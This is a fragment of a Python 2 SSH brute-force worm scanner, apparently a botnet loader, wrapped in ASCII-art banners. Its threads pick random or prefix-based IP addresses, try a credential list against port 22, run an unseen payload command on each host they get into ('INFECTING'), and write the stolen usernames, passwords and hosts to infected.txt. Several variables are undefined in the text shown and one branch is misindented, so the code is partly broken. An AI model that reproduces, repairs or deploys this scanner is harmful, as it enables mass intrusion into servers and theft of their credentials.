β–ˆβ–€ Β  Β β–„β–ˆβ–ˆβ–ˆβ–ˆβ–€ Β  Β  Β  Β  Β  β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–€ Β β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–„β–„β–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–€ Β  β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–€ Β  β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–€ Β  Β β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ Β β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–€ Β 
 Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β β–€ Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β 
"""
ipclassinfo = sys.argv[2]
if ipclassinfo == "A":
Β  Β  ip1 = sys.argv[3]
elif ipclassinfo == "B":
Β  Β  ip1 = sys.argv[3].split(".")[0]
Β  Β  ip2 = sys.argv[3].split(".")[1]
elif ipclassinfo == "C":
Β  Β  ips = sys.argv[3].split(".")
Β  Β  num=0
Β  Β  for ip in ips:
Β  Β  Β  Β  num=num+1
Β  Β  Β  Β  if num == 1:
Β  Β  Β  Β  Β  Β  ip1 = ip
Β  Β  Β  Β  elif num == 2:
Β  Β  Β  Β  Β  Β  ip2 = ip
Β  Β  Β  Β  elif num == 3:
Β  Β  Β  Β  Β  Β  ip3 = ip
"""
 Β  β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ Β  Β β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ Β  Β β–„β–ˆ Β  Β β–ˆβ–„ Β  Β  Β  Β  Β  Β β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ Β β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ Β  Β β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–„β–„β–„β–„ Β  β–ˆβ–ˆβ–ˆβ–„β–„β–„β–„ Β  Β  Β β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ Β  Β β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ 
 Β β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  Β  Β  Β  Β β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–€β–€β–€β–ˆβ–ˆβ–„ β–ˆβ–ˆβ–ˆβ–€β–€β–€β–ˆβ–ˆβ–„ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ 
 Β β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–€ Β  Β β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–€ Β  Β β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  Β  Β  Β  Β β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–€ Β β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–€ Β  Β β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–€ Β  Β β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ 
 Β β–ˆβ–ˆβ–ˆ Β  Β  Β  Β  Β β–ˆβ–ˆβ–ˆ Β  Β  Β  Β  β–„β–ˆβ–ˆβ–ˆβ–„β–„β–„β–„β–ˆβ–ˆβ–ˆβ–„β–„ Β  Β  Β  Β β–ˆβ–ˆβ–ˆ Β  Β  Β  Β β–ˆβ–ˆβ–ˆ Β  Β  Β  Β  Β β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β β–„β–ˆβ–ˆβ–ˆβ–„β–„β–„ Β  Β  Β β–„β–ˆβ–ˆβ–ˆβ–„β–„β–„β–„β–ˆβ–ˆβ–€ 
β–€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–€β–€β–ˆβ–ˆβ–ˆβ–€β–€β–€β–€β–ˆβ–ˆβ–ˆβ–€ Β  Β  Β  β–€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆ Β  Β  Β  Β β–€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ β–€β–€β–ˆβ–ˆβ–ˆβ–€β–€β–€ Β  Β  β–€β–€β–ˆβ–ˆβ–ˆβ–€β–€β–€β–€β–€ Β  
 Β  Β  Β  Β  β–ˆβ–ˆβ–ˆ Β  Β  Β  Β  Β β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  Β  Β  Β  Β  Β  Β  Β  β–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–„ Β  Β β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–„ Β β–€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ 
 Β  β–„β–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  Β β–„β–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  Β  Β  Β  Β  β–„β–ˆ Β  Β β–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ 
 β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–€ Β  β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–€ Β  Β β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–€ Β  Β  Β  Β  Β β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–€ Β β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–€ Β  Β β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–€ Β  β–€β–ˆ Β  β–ˆβ–€ Β  β–€β–ˆ Β  β–ˆβ–€ Β  Β β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ Β  β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ 
 Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β β–ˆβ–ˆβ–ˆ Β  Β β–ˆβ–ˆβ–ˆ 
"""
class sshscanner(threading.Thread):
Β  Β  global passwords
Β  Β  global ipclassinfo
Β  Β  if ipclassinfo == "A":
Β  Β  Β  Β  global ip1
Β  Β  elif ipclassinfo == "B":
Β  Β  Β  Β  global ip1
Β  Β  Β  Β  global ip2
Β  Β  elif ipclassinfo == "C":
Β  Β  Β  Β  global ip1
Β  Β  Β  Β  global ip2
Β  Β  Β  Β  global ip3
Β  Β  def run(self):
Β  Β  Β  Β  while 1:
Β  Β  Β  Β  Β  Β  try:
Β  Β  Β  Β  Β  Β  Β  Β  while 1:
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  thisipisbad='no'
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  if ipclassinfo == "A":
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  self.host = ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  elif ipclassinfo == "B":
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  self.host = ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  elif ipclassinfo == "C":
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  self.host = ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  elif ipclassinfo == "BRAZIL":
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  self.host = random.choice(br)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  elif ipclassinfo == "SUPER":
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  self.host = random.choice(yeet)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  elif ipclassinfo == "LUCKY":
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  self.host = random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  elif ipclassinfo == "LUCKY2":
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  elif ipclassinfo == "RAND":
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  elif ipclassinfo == "INTERNET":
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  self.host = random.choice(lol)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
Β  Β  Β  Β  Β  Β  elif ipclassinfo == "LOAD":
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  self.host = random.choice(load)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  else:
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  for badip in blacklist:
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  if badip in self.host:
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  thisipisbad='yes'
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  if thisipisbad=='no':
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  break
Β  Β  Β  Β  Β  Β  Β  Β  username='root'
Β  Β  Β  Β  Β  Β  Β  Β  password=""
Β  Β  Β  Β  Β  Β  Β  Β  port = 22
Β  Β  Β  Β  Β  Β  Β  Β  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
Β  Β  Β  Β  Β  Β  Β  Β  s.settimeout(3)
Β  Β  Β  Β  Β  Β  Β  Β  s.connect((self.host, port))
Β  Β  Β  Β  Β  Β  Β  Β  s.close()
Β  Β  Β  Β  Β  Β  Β  Β  ssh = paramiko.SSHClient()
Β  Β  Β  Β  Β  Β  Β  Β  ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
Β  Β  Β  Β  Β  Β  Β  Β  dobreak=False
Β  Β  Β  Β  Β  Β  Β  Β  for passwd in passwords:
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  if ":n/a" in passwd:
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  password=""
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  else:
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  password=passwd.split(":")[1]
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  if "n/a:" in passwd:
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  username=""
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  else:
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  username=passwd.split(":")[0]
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  try:
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  ssh.connect(self.host, port = port, username=username, password=password, timeout=3)
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  dobreak=True
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  break
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  except:
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  pass
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  if True == dobreak:
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  break
Β  Β  Β  Β  Β  Β  Β  Β  badserver=True
Β  Β  Β  Β  Β  Β  Β  Β  stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
Β  Β  Β  Β  Β  Β  Β  Β  output = stdout.read()
Β  Β  Β  Β  Β  Β  Β  Β  if "inet addr" in output:
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  badserver=False
Β  Β  Β  Β  Β  Β  Β  Β  if badserver == False:
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  print '\x1b[31mINFECTING:'+self.host+'|'+username+'|'+password+'|'+str(port)
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  ssh.exec_command(""+cmd+"")
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  time.sleep(20)
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  ssh.close()
Β  Β  Β  Β  Β  Β  open("infected.txt","a").write(username+":"+password+":"+self.host+"\n")
Β  Β  Β  Β  Β  Β  except:
Β  Β  Β  Β  Β  Β  Β  Β  pass
Β 
for x in range(0,int(sys.argv[1])):
Β  Β  try:
Β  Β  Β  Β  t = sshscanner()
Β  Β  Β  Β  t.start()
Β  Β  except:
Β  Β  Β  Β  pass

Comments